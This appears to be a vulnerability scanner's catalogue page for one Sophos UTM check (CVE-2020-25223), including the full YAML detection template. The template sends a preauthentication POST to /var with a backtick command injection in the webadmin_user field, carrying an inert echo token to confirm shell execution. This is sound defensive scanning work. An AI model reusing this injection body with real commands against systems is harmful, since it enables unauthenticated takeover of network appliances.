Sophos UTM — 1 vulnerability check

noctis ships 1 vulnerability check for Sophos UTM, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Sophos UTM WebAdmin Preauth RCE

CVECVE-2020-25223
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 97
Feedtests/vulnerabilities/sophos-utm/CVE-2020-25223.yaml

Detects the Sophos UTM WebAdmin unauthenticated remote code execution (CVE-2020-25223) by injecting an inert command-substitution-collapse echo into the preauth JSON endpoint at /var and confirming the per-run token is reflected back contiguously — proving the injected command was evaluated in a shell context rather than merely echoed as a string. In the CISA KEV catalogue; EPSS ~0.968.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST /var with a crafted body
  4. Checks resp.body for NOCTIS[0-9a-f]{32} → finding QoD 97: Sophos UTM WebAdmin preauth RCE confirmed via POST /var: injected echo NOCTIS$()<token> collapsed to the contiguous per-run marker in the r…

References:

Feed source — tests/vulnerabilities/sophos-utm/CVE-2020-25223.yaml
# Sophos UTM WebAdmin preauth Remote Code Execution — CVE-2020-25223
#
# The WebAdmin user-portal exposes a JSON-RPC endpoint at /var that, before
# authentication, passes an attacker-controlled field into a shell context in
# the confd backend, giving unauthenticated remote command execution. Tracked
# in the CISA KEV catalogue (added 2022-03-25); EPSS ~0.968.
#
# Detection method (reflected-token command-substitution collapse):
#   A `script` step mints a fresh per-run token  tok = rand_hex(16)  (32 hex
#   chars) and the marker  "NOCTIS"+tok . The injected command echoes
#   "NOCTIS$()<tok>" — an inert echo whose empty command-substitution  $()
#   separates the two halves. Only a context that genuinely evaluates the shell
#   collapses the empty  $()  away, yielding the CONTIGUOUS marker NOCTIS<tok>.
#   The finding keys on that contiguous collapse for THIS run's token:
#     - regex  NOCTIS[0-9a-f]{32}  (proves the halves are adjacent — no $()), AND
#     - condition  stridx(resp.body, marker) >= 0  (proves it is this run's token,
#       not a constant string the server always echoes back).
#   A server that merely reflects the input verbatim leaves "$()" between the
#   halves (regex + stridx both fail); a server that echoes a constant marker
#   fails the per-run stridx gate. Inert echo only — no command runs on a real
#   target, no file is read or written. QoD 97 (confirmed reflected execution).
uid: c012adf6-7e31-4825-94bf-d51700a9190b
name: "Sophos UTM WebAdmin Preauth RCE (CVE-2020-25223)"
description: |
  Detects the Sophos UTM WebAdmin unauthenticated remote code execution
  (CVE-2020-25223) by injecting an inert command-substitution-collapse echo
  into the preauth JSON endpoint at /var and confirming the per-run token is
  reflected back contiguously — proving the injected command was evaluated in
  a shell context rather than merely echoed as a string. In the CISA KEV
  catalogue; EPSS ~0.968.
cves: [CVE-2020-25223]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [sophos, utm, webadmin, rce, preauth, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-25223"
  - "https://github.com/darrenmartyn/sophucked"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-25223.yaml"
  - "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"

steps:
  # Fresh per-run token (32 hex chars) — the random nonce the collapse reflects.
  - id: gen-token
    action: script
    code: |
      rand_hex(16)
    store_as: tok

  # The marker in its COLLAPSED form: what a genuine shell evaluation produces.
  - id: gen-marker
    action: script
    code: |
      "NOCTIS" + tok
    store_as: marker

  # Preauth JSON-RPC probe to /var. The injected echo carries the halves split
  # by an empty command substitution $() — reqwest does not normalise bodies,
  # so the payload reaches the target verbatim. Always pin port: "{{port}}".
  - id: probe
    action: http_request
    method: POST
    path: "/var"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Accept: "text/javascript, text/html, application/xml, text/xml, */*"
      X-Requested-With: "XMLHttpRequest"
      X-Prototype-Version: "1.5.1.1"
      Content-Type: "application/json; charset=UTF-8"
      Connection: "close"
    body: '{"objs":[{"FID":"init"}],"SID":"","browser":"webadmin","backend_version":"-1","loc":"","_cookie":null,"wdebug":0,"RID":"","current":"","data":{"webadmin_user":"admin`echo NOCTIS$(){{tok}}`"}}'
    store_as: resp

  # Confirm RCE: the collapsed, contiguous per-run marker was reflected.
  #   - pattern NOCTIS[0-9a-f]{32}  → the $() collapsed away (halves adjacent)
  #   - condition stridx(...)>=0     → it is THIS run's token, not a constant
  - id: confirm
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "stridx(resp.body, marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.72
        qod: 97
        evidence: "Sophos UTM WebAdmin preauth RCE confirmed via POST /var: injected echo NOCTIS$()<token> collapsed to the contiguous per-run marker in the response, proving shell evaluation"
      stop: true

View these feeds on GitHub